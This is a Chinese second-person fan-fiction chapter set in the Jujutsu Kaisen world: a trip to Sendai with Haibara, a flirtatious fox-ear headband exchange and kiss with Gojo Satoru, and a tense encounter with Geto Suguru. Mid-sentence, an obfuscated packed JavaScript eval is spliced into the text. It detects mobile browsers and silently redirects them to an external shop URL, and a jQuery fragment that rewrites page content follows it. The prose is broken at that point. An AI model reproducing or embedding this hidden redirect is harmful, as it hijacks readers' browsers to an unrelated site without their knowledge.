仙台是个好地方,好就好在看完观音后喝了毛豆奶昔又吃了很多烤牛舌。
这个任务简单到甚至无需辅助监督。你们只需要在第二天路过定位的某所高中里的百叶窗,再确认下传说中某特级咒物的封印还完好就好了。
“杉泽第三高中,20年前的学校哇,比我们年纪都大,星夏。”灰原一天除了坐车没干任何有关委托的事情,良心促使他提前准备起明天需要的东西。
你点头,戳破白米饭上的蛋黄,现在灰原说什么都对:“嗯嗯嗯。”
“前辈们都在忙碌,只有我们两个做简单的活计还在这边排队吃饭,会不会太不好了?”
你:“嗯嗯嗯。”
“……”
这种新兴的内疚式教育到底是怎么感染上灰原的?你难以获知,不过么,当务之急是把这条男朋友的讯息回了。
在大约一个小时之前,你给他发了消息:忙,等我吃饭了拍照你给你看。
然后你继续在饮品店排队。
现在你盘子里还有半份。
和服务员打了招呼:“你好,请再给我们来一份牛舌定食,多一份山药泥。”
转头,你和灰原解释:“要拍给五条看。”
“这就是传说中的和伴侣分享生活吗?”
“不是的。每日委托,日课,打卡,随你怎么叫。”
“等等,前辈知道你这样说他吗?”
你刚打破了一个没谈过恋爱的小孩对爱情的渴望,你喝了一口热汤,表情和说笑没什么两样。
“当然不知道,如果听见的话应该会生气吧。”你是不以为每天都要做的事情有必要分享的,但考虑到对方强烈要求了,便就应下了这个特别任务。
“我想不出来五条前辈生气会是怎么样,不过夏油前辈的话,应该会皱着眉头严厉地表达失望。”说着,灰原把面部表情摆成不苟言笑,嘴角下撇的样子。
恭喜他在本次模拟前辈生气表情大赛中取得了不及格的好成绩。
你给面子地评价:“可能30岁的夏油会是这样。”
“铃木,你对前辈们完全不用敬语了吗?”
“别在意这些细节,你过会还想吃牡蛎吗?”可惜这个季节没有软壳蟹。
“……吃!”
仙台神社寺庙遍地,但灰原愣是一晚上都没提这件事情,看得出来这孩子心里也藏了点上次的阴影。
次日,你们在艳阳高照的高温里找到了传说中藏有驱魔咒物的百叶箱。
“不管是百叶箱还是这个小木盒都好普通。”这地方翻墙就能进,橄榄球场周围空空荡荡,虽然说鲜有偷盗的风险,然而……“应该有些诅咒师或者猎奇中间商会对它感兴趣吧。”
“喔!你是说受肉?”
你看了一圈封印,一切良好。抬着手给灰原正反里外照片拍了好些张。
“所以说不要再看奇怪的网站了。我只是想说你听说过有些富豪对木乃伊的偏好之类的?”
“你这个也很奇怪吧铃木。”
“那是新闻上真实有过的事情,受肉……要是有合适的特级咒物容器那总监部得跳脚了。”放出来至少也是个特级。
灰原这会津津乐道起来:“可是容器能解决【特级咒物无法销毁】的难题,只要……啊,好像有点不幸哦。”
他意识到,这也代表着某人的死亡。
不过那都是无稽之谈,目前是的。
你们只用半个小时就解决了任务,而回去的票尽可能往后推的买在了下午。
难得有时间正好在城里购物,你拉着灰原走了几个商场,买了些东京都有的东西--
“所以回去买不就好了?”
“东京的货品齐全和我们筵山有什么关系。话又说回来,要不你给前辈们买点伴手礼?”你的意思是,你就只拿自己的东西。
灰原这就突然想起来一件事:“上次说要给他们带礼品的,结果……上次夏油前辈说想吃甜的!”
最后他选择了礼品店里无论是外表还是口感都很讨喜的麻薯团子。
回去的路上,灰原在后头拎着大包小包,他人真好,你得以在前头自由畅快两手空空地行进。
当晚,8点,你的男朋友吃到了生产日期还是今天的甜点心。
“味道勉勉强强还可以吧。”
“灰原买的,他还在旁边呢,你太没礼貌了嗷。”
“……什么,你没买吗?”
“没。”
灰原其实能看出来前辈可能还挺喜欢这个口味,只是……故意这么说的。
等你的同期鞠躬离开后,五条自动承担了帮你拎东西的搬运工之职,不过他这人也自说自话,开始翻起了你买的各种物件。
最后五条悟失望地发现:“你连没用的景点印花餐巾纸都买了,但没给我买东西?”
你还没到那种程度,纠正他:“那个是购物额度到了以后赠送的。”
“这也开脱不了你重大失职的过错。”
是是是,你没办法,最终还是拿出了本来还没想好要不要送给他的挂件。
它在你的口袋里待了好几个小时了。
“给你,狐狸挂件玩偶。”你手背拍了拍额头,解释:“仙台周边不是有个狐狸村吗,显然,我和灰原来不及去,而夏天恰好狐狸换毛,观赏性一般。
不过呢,仙台的礼品店里仍然有狐狸的周边,可能就是为我们这种不去景点但是想买纪念品的人准备的吧。
送你了。”
“……”
五条悟没有第一时间接过它,而是翻起了他左手的第二个袋子,然后,直到他赫然从里面拿出一条造型非常可爱的狐狸耳朵束发带时。
你大概知道你的男朋友想问你什么了。
于是抢答:“不是一套,只是确实有只狐狸长这样,以它形象设计的。”
“我不管,你戴给我看。”
你就知道……
你不得不和他解释,虽说他本来也应该知道:“这是洗脸的时候箍头发的。”
五条悟表现出了青少年极佳的品质:毅力。
他粘着你一路,一直跟在你后头到宿舍门口。
巧合之处就在于此,你的耐心在差不多这个时候也消磨干净。
“小悟。”
“在!”
到底是谁在这种时候把desu挂在嘴边,原来是你一点也不爱用敬语的男朋友。
你直勾勾地看他,反而把他弄得脸红了。
“星夏,你突然这样喊我……总感觉没什么好事。”五条悟把自己硬挤进半个门框里,和你面对面共享同一块凹进去的地方。
“你是对的。”你冲他点点头,然后收回了挂件。
你把狐狸耳朵的束发带送给他。
“这么喜欢,我就割爱吧。”不仅如此,你还靠在门上,好整以暇等他:“不是说不洗脸也可以戴么,来吧,小悟。”
你对你想法很多的男朋友勾勾手指,这么喜欢就自己付诸实践好了,反正他也很有观赏性。
五条悟红着脸,低头,离你越来越近。
近到你们彼此能感受到对方呼吸的时候,他的声音微不可查:“星夏,只要你亲亲我,我什么都可以答应你。”
你因为他别开生面的低头感到纳闷的时候,五条又说:“真是的,一天没见,我好想你。”
他低头正方便你行事,你两手勾着发箍边,撑开它,套在了五条悟的头上。
你既没亲吻他,也没急着回点好听的话。
不过被男朋友撒娇的感觉还不错。
五条悟接着问你,语气也因为你不接话而有点迟疑:“……可爱吗?”
你摸索着隔开他的腰,找到了门把手,直接拧开门后对他伸出了右手:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027240|144086||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“镜子在衣柜侧边,你何不去自己看看呢?”
怎么想能让你邀请直接进房间的样子,也不会难看。
不过他这会倒没有反客为主的架势了,即使你邀请了他,在你进去打开灯和风扇的时候,他还直直地站在房外。
脚边还有之前放下的购物袋。
五条悟看着你的样子,似乎是在,不知所措?
“你记得把东西拿进来。”你说。
而他在踏上木质地板的时候,还说了一句:“多有打扰。”
说真的……他被乖巧的狐狸夺舍了吗?
在灯光下看毛茸茸的红棕色耳朵毛,兽耳元素不愧是有些走在前头的潮流人士青睐的……下次你会买白狐的,也许带点灰蓝也不错。
今晚趁着灯光和月色,衣柜上的镜子见证了轻快的你和真的很害羞的五条悟。
在去他寝室的路上,你得知了他感到不好意思的真正缘由:因为你邀请他进你的房间。
“里面不是什么也没有吗?”
他就很快的告诉你其中的不同:“有你身上的香味。”
“谢谢你这么关注细节,是熏香蜡烛。”门窗紧闭,空间里的味道当然不会散去。
“等等,”五条悟突然停下脚步,你在他旁边和他牵手,亦站定不动。
他问你:“你跟我出来做什么?”
“送你回宿舍,总感觉应该这么做呢。”
“星夏,你欺负我!”
“哪有,你不也到半路才反应过来吗?”你歪着头对他露出一个牙齿能照出月光的微笑,“看你的样子就差点以为你会冒出【我怕黑】这样的请求。”
“……”平时飒爽干练的卓越咒术师也没想到你作为感情中的一方这么擅长调笑,他鼓着嘴,然后托住了你的后脑勺。
晚风吹得树叶沙沙作响,你知道前面是一片竹林,你偶尔会路过这个地方。在白天,它们的影子会在绿茵茵的草地上打出漂亮也不规则的斑驳图样。
现在,他非常温柔的说把眼睛闭上,轻轻的,慢慢地,用他的嘴唇碰你的,一阵酥麻的感觉沿着嘴唇漫布全身。你想了想,决定现在应该什么也不想。
不好的是,在你送男朋友回宿舍、进宿舍站了一会、磨磨蹭蹭被告别、出门之后,不幸遇到了一个人。
是你最近在避免见面的夏油杰。
深入而细密的吻有的时候让人缺氧失神,在第一个不好的基础上,你做了一件不好的事--下意识摸了摸嘴唇。
等到你反应过来发生了什么的时候,一切都迟了。
“……唉。”你发出一声很轻的叹息,不比外头的蝉鸣更容易入耳。“晚上好,夏油前辈。”
他没有理你,转身下了楼梯。
你想了想,也不好从窗户跳下去,也就停了一会也跟着他的路线往下行。
但终究,你们也没能保持距离。
夏油杰散着头发在楼下等你。
当你的眼睛对上他的时,你们起初都没说话,然后他问你,就像日常聊天那样:“之前我的梦,都是真实的,是吗?”
你看见一轮满弓,被拉扯到极致,迫切地叫嚣着反张的力量。然而无论如何,现如今它都是静止的,看起来无甚压力。
你说:“是的。”
低声细语,不比指甲刮擦过绷紧的弓弦上声音更响。
无事发生,只有什么东西惊扰了周围树上的鸟类,它们四散换了地方。
夏油杰往你的方向行,擦肩后没停留,走了。
对一个穿着拖鞋的男人感到紧张是很罕见的事情,不过现下情况就是这样。
他周身有挥之不去的潮湿气息,背影清瘦,他的方向是上楼。
你意识到,他是特意为了你才下来的,只想要一个答案。
然后那就耗尽了他的全部。
夏油杰不敢再听你说话了。